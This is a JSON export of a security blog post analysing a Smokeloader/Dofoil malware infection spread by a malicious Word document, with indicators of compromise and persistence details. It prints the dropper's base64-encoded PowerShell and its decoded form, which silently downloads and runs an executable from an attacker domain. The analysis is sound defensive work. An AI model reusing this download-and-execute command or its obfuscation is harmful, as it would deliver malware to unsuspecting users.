{"id":773,"date":"2017-05-03T12:05:02","date_gmt":"2017-05-03T11:05:02","guid":{"rendered":"http:\/\/www.herbiez.com\/?p=773"},"modified":"2017-05-03T12:05:43","modified_gmt":"2017-05-03T11:05:43","slug":"2017-05-03-smokeloaderdofoil-malware-from-malspam","status":"publish","type":"post","link":"https:\/\/www.herbiez.com\/?p=773","title":{"rendered":"2017-05-03 Smokeloader\/Dofoil malware from Malspam"},"content":{"rendered":"<p>This investigation stems from a maldoc that was sent to us yesterday. It is your standard maldoc that requires you to enable content in order to get the embedded script to run. From the looks of it, the malware that is used in this infection is Smokeloader\/Dofoil. For more information about this type of infection, Forcepoint had a good writeup about it which you can read about <a href=\"http:\/\/blogs.forcepoint.com\/security-labs\/rig-exploit-kit-makes-sprash-russia\" target=\"_blank\">here<\/a>. Granted it is not an exact match for this infection, but helps to explain some of the behavior that the malware used. I also had some fun trying my hand at de-obfuscating the script embedded in the maldoc &#8211; more about that later. As usual, the artifacts from this infection can be found in my Github <a href=\"http:\/\/github.com\/bloomer1016\/2017-05-02-Smokeloader-Dofoil-Malspam\" target=\"_blank\">here<\/a>.<\/p>\n<p><a href=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2017\/05\/email.png\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2017\/05\/email.png\" alt=\"\" width=\"1278\" height=\"967\" class=\"aligncenter size-full wp-image-775\" \/><\/a><\/p>\n<p><a href=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2017\/05\/Enable-Content.png\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2017\/05\/Enable-Content.png\" alt=\"\" width=\"1075\" height=\"488\" class=\"aligncenter size-full wp-image-776\" \/><\/a><\/p>\n<p>Indicators of Compromise:<br \/>\n=====================<br \/>\ndecisive.gdn \/  47.91.76.184 (HTTP)<br \/>\nsinforce.top \/ 211.159.178.112 (HTTP)<br \/>\nforce-sin.gdn \/ 144.217.248.81 (HTTP)<\/p>\n<p>Artifacts:<br \/>\n=======<br \/>\nFile name: 27409.exe<br \/>\nFile size: 228KB<br \/>\nFile path: C:\\Users\\%username%\\AppData\\Local\\Temp<br \/>\nMD5 hash: ac6b7c7994239de7ad98ca8402c73efe<br \/>\nVirustotal: <a href=\"http:\/\/virustotal.com\/en\/file\/194ca9ad2e01027655f547751f6d8297c12b3f85086260445f53513510df29a3\/analysis\/\" target=\"_blank\">http:\/\/virustotal.com\/en\/file\/194ca9ad2e01027655f547751f6d8297c12b3f85086260445f53513510df29a3\/analysis\/<\/a><br \/>\nDetection ratio: 23 \/ 61<br \/>\nFirst submission: 2017-05-02 10:29:06 UTC<br \/>\nMalwr: NA<br \/>\nHybrid Analysis: NA<\/p>\n<p>File name: bill.doc<br \/>\nFile size: 158KB<br \/>\nMD5 hash: b43ca42dda3a6e99f7848a5c8b733e4f<br \/>\nVirustotal: <a href=\"http:\/\/virustotal.com\/en\/file\/b4b4e2ac1819bb39314e166885fd4afbe682eedc8444a7457429fe0aec7bdb66\/analysis\/\" target=\"_blank\">http:\/\/virustotal.com\/en\/file\/b4b4e2ac1819bb39314e166885fd4afbe682eedc8444a7457429fe0aec7bdb66\/analysis\/<\/a><br \/>\nDetection ratio: 11 \/ 56<br \/>\nFirst submission: 2017-05-02 07:53:41 UTC<br \/>\nMalwr: NA<br \/>\nHybrid Analysis: NA<\/p>\n<p>File name: cdfestdr<br \/>\nFile size: 427KB<br \/>\nMD5 hash: 2ecbd123dfe3fce0a84fea2676a48a94<br \/>\nVirustotal: NA<br \/>\nMalwr: NA<br \/>\nHybrid Analysis: NA<\/p>\n<p>File name: iahwafcu.exe<br \/>\nFile size: 228KB<br \/>\nFile path: C:\\Users\\Administrator\\AppData\\Roaming\\Microsoft\\cdfestdr<br \/>\nMD5 hash: ac6b7c7994239de7ad98ca8402c73efe<br \/>\nVirustotal: <a href=\"http:\/\/virustotal.com\/en\/file\/194ca9ad2e01027655f547751f6d8297c12b3f85086260445f53513510df29a3\/analysis\/\" target=\"_blank\">http:\/\/virustotal.com\/en\/file\/194ca9ad2e01027655f547751f6d8297c12b3f85086260445f53513510df29a3\/analysis\/<\/a><br \/>\nDetection ratio: 23 \/ 61<br \/>\nFirst submission: 2017-05-02 10:29:06 UTC<br \/>\nMalwr: NA<br \/>\nHybrid Analysis: NA<\/p>\n<p>Analysis of Malware:<br \/>\n================<br \/>\nI was able to get to the malicious scripts from this maldoc using OfficeMalScanner. I tried to deobfuscate it and managed to get the Powershell script that was embedded in it. There are some areas in the script that helped lead me to the de-obfuscation of it &#8211; chiefly the 2 parts that called for base64 as shown below:<\/p>\n<pre class=\"brush: vb; light: false; title: Click here to expand...; toolbar: true; notranslate\" title=\"Click here to expand...\">\r\net WjmPoYH9e = hxYIny.CreateElement(&quot;base64&quot;)\r\nWjmPoYH9e.dataType = &quot;bin.base64&quot;\r\n<\/pre>\n<p>When you take the fact that there are calls for base64 encoding from Module2, and then you see variables being assigned to long strings (one of which ends in an equal sign) in Module3, I took a chance and went through all them and tried to see what came from it. Luckily that chance paid off as you can see below. Below is the encoded part of the script that leads to the Powershell script in Module3.<\/p>\n<pre class=\"brush: vb; light: false; title: Click here to expand...; toolbar: true; notranslate\" title=\"Click here to expand...\">\r\nEncoded:\r\n--------\r\nG30yWlK = Cp6AVx &amp; zZkT0PmIW &amp; JLBvkh &amp; gU6mpuwzy &amp; GqA76nR &amp; ZwuiTY6 == cG93ZXJzaGVsbCAtV2luZG93U3R5bGUgSGlkZGVuICR3c2NyaXB0ID0gbmV3LW9iamVjdCAtQ29tT2JqZWN0IFdTY3JpcHQuU2hlbGw7JHdlYmNsaWVudCA9IG5ldy1vYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7JHJhbmRvbSA9IG5ldy1vYmplY3QgcmFuZG9tOyR1cmxzID0gJ2h0dHA6Ly9kZWNpc2l2ZS5nZG4vV0FlTTg5OTN2VC8zX2MuZXhlJy5TcGxpdCgnLCcpOyRuYW1lID0gJHJhbmRvbS5uZXh0KDEsIDY1NTM2KTskcGF0aCA9ICRlbnY6dGVtcCArICdcJyArICRuYW1lICsgJy5leGUnO2ZvcmVhY2goJHVybCBpbiAkdXJscyl7dHJ5eyR3ZWJjbGllbnQuRG93bmxvYWRGaWxlKCR1cmwuVG9TdHJpbmcoKSwgJHBhdGgpO1N0YXJ0LVByb2Nlc3MgJHBhdGg7YnJlYWs7fWNhdGNoe3dyaXRlLWhvc3QgJF8uRXhjZXB0aW9uLk1lc3NhZ2U7fX0=\r\n\r\nDecoded:\r\n--------\r\npowershell -WindowStyle Hidden $wscript = new-object -ComObject WScript.Shell;$webclient = new-object System.Net.WebClient;$random = new-object random;$urls = 'hxxp:\/\/decisive.gdn\/WAeM8993vT\/3_c.exe'.Split(',');$name = $random.next(1, 65536);$path = $env:temp + '\\' + $name + '.exe';foreach($url in $urls){try{$webclient.DownloadFile($url.ToString(), $path);Start-Process $path;break;}catch{write-host $_.Exception.Message;}}\r\n<\/pre>\n<p>Starting with the network side of this, we can see that the initial start of the infection comes from the script and the URL (hxxp:\/\/decisive[.]gdn\/WAeM8993vT\/3_c[.]exe) which pulls down the malicious binary. From there we can see several call outs to various others sites, some with POSTs and some just GET requests all loaded to help confuse the analyst and to help provide a &#8220;smokescreen&#8221; while the malicious sites are requested. The following are the links that I believe are the malicious ones.  <\/p>\n<p>URL: decisive[.]gdn<br \/>\nVirustotal: <a href=\"http:\/\/virustotal.com\/en\/domain\/decisive.gdn\/information\/\" target=\"_blank\">http:\/\/virustotal.com\/en\/domain\/decisive.gdn\/information\/<\/a><\/p>\n<p>URL: sinforce[.]top<br \/>\nVirustotal: <a href=\"http:\/\/virustotal.com\/en\/url\/73c0b06844c5c570ca6f0e7444a542cccbfc8c0c5d19c13dceef5a9f18bdd19b\/analysis\/\" target=\"_blank\">http:\/\/virustotal.com\/en\/url\/73c0b06844c5c570ca6f0e7444a542cccbfc8c0c5d19c13dceef5a9f18bdd19b\/analysis\/<\/a><\/p>\n<p>URL: force-sin[.]gdn<br \/>\nVirustotal: <a href=\"http:\/\/virustotal.com\/en\/domain\/force-sin.gdn\/information\/\" target=\"_blank\">http:\/\/virustotal.com\/en\/domain\/force-sin.gdn\/information\/<\/a><\/p>\n<p>From the host perspective, once the maldoc and then the Powershell script have run, downloaded, and executed the malicious binary, it looks as if the malicious binary then creates a new instance of the Explorer.exe process which then creates a new directory under the &#8220;C:\\Users\\%username%\\AppData\\Roaming\\Microsoft\\&#8221; folder called &#8220;cdfestdr.&#8221; This folder has two files in it, cdfestdr and iahwafcu.exe. This is how this malware sets up persistence as well since it also creates a new registry key under the &#8220;HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run&#8221; path pointing to the &#8220;iahwafcu.exe&#8221; binary. <\/p>\n<p><a href=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2017\/05\/Explorer-exe.png\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2017\/05\/Explorer-exe.png\" alt=\"\" width=\"1902\" height=\"693\" class=\"aligncenter size-full wp-image-777\" \/><\/a><\/p>\n<p><a href=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2017\/05\/Regpath.png\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2017\/05\/Regpath.png\" alt=\"\" width=\"1801\" height=\"676\" class=\"aligncenter size-full wp-image-778\" \/><\/a><\/p>\n<p>At this time I am only seeing the &#8220;iahwafcu.exe&#8221; binary hooked into the new Explorer.exe process and nothing else seems to be using the cdfestdr file. The interesting part about this infection is that the callbacks from the now infected system is done via the Explorer.exe process and not from the iahwafcu.exe binary itself as you can see below. Once you kill off this process or the thread within the Explorer.exe process, the callbacks stop. This helps support the notion that the malware is part of the Smokeloader\/Dofoil family. <\/p>\n<p><a href=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2017\/05\/Comm-with-explorer.png\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2017\/05\/Comm-with-explorer.png\" alt=\"\" width=\"954\" height=\"989\" class=\"aligncenter size-full wp-image-774\" \/><\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>This investigation stems from a maldoc that was sent to us yesterday. It is your standard maldoc that requires you to enable content in order to get the embedded script to run. From the looks of it, the malware that is used in this infection is Smokeloader\/Dofoil. For more information about this type of infection, Forcepoint had a good writeup about it which you can read about here. Granted it is not an exact match for this infection, but helps to explain some of the behavior that the malware used. I also had some fun trying my hand at de-obfuscating&#8230;<\/p>\n<p> <a class=\"continue-reading-link\" href=\"https:\/\/www.herbiez.com\/?p=773\"><span>Continue reading<\/span><i class=\"crycon-right-dir\"><\/i><\/a> <\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[10,4],"tags":[],"class_list":["post-773","post","type-post","status-publish","format-standard","hentry","category-code","category-packet-analysis"],"_links":{"self":[{"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/posts\/773","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=773"}],"version-history":[{"count":4,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/posts\/773\/revisions"}],"predecessor-version":[{"id":782,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/posts\/773\/revisions\/782"}],"wp:attachment":[{"href":"https:\/\/www.herbiez.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=773"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=773"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=773"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}